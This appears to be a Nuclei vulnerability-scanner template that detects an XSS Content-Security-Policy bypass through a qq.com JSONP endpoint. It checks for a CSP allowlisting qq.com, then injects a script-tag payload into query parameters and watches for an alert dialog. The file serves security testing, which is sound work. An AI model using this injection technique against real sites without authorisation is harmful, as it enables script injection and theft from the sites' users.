id: qq-csp-bypass

info:
  name: Content-Security-Policy Bypass - QQ
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,qq

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "qq.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: qq_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://c.y.qq.com/v8/fcg-bin/v8.fcg?&notice=0&format=jsonp&channel=singer&page=list&jsonpCallback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "qq_csp_xss == true"
# digest: 4b0a00483046022100ab6db7497fd0b9315bccab3ec29557db6d2fcf07fc267675c112b73ca5eae83c022100a8ac9f552599555c1441ccd4c7432c9da2c455c58c5eee726de40873e1a0245f:922c64590222798bb761d5b6d8e72950